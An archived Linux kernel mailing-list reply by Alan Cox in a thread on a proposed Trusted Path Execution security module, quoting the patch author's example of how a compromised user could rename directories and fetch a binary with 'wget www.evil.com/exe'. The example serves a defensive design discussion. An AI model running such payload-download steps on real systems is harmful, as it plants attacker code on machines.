Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > linux.kernel > #1661608
| From | Alan Cox <gnomes@lxorguk.ukuu.org.uk> |
|---|---|
| Newsgroups | linux.kernel |
| Subject | Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM |
| Date | 2017-06-08 21:30 +0200 |
| Message-ID | <tQbi2-8li-15@gated-at.bofh.it> (permalink) |
| References | <tPWCl-7iA-3@gated-at.bofh.it> <tQavF-7Na-27@gated-at.bofh.it> <tQaYG-8eD-13@gated-at.bofh.it> |
| Organization | Intel Corporation |
> So actually in this LSM it's not so much full paths that are trusted, > rather it checks that the directory containing the program is only > writable by root and that the program itself is only writable by root. > > For example, consider the following: > > /user/ with permissions drwxr-xr-x user user > /user/user-owned/ with permissions drwxr-xr-x user user > /user/user-owned/root-owned/ with permissions drwxr-xr-x root root > /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root > > currently /user/user-owned/root-owned/exe is trusted because it can only > be written to by root, and the directory it is in can only be written by > root. > > but then user becomes compromised and does the following: > cd /user/ > mv user-owned user-owned-back > mkdir -p user-owned/root-owned > cd user-owned/root-owned > wget www.evil.com/exe > > Now /user/user-owned/root-owned/exe is untrusted and its execution will > be denied unless you put user in the trusted group. I can cause a lot of mischief just by renaming commands (mv cp rm does't work on must implementations) but yes the root directory check itself should avoid that you are correct.
Back to linux.kernel | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-08 05:50 +0200
Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Alan Cox <gnomes@lxorguk.ukuu.org.uk> - 2017-06-08 20:40 +0200
Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-08 21:10 +0200
Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Alan Cox <gnomes@lxorguk.ukuu.org.uk> - 2017-06-08 21:30 +0200
Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Mickaël Salaün <mic@digikod.net> - 2017-06-11 13:40 +0200
Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM Matt Brown <matt@nmatt.com> - 2017-06-12 02:10 +0200
csiph-web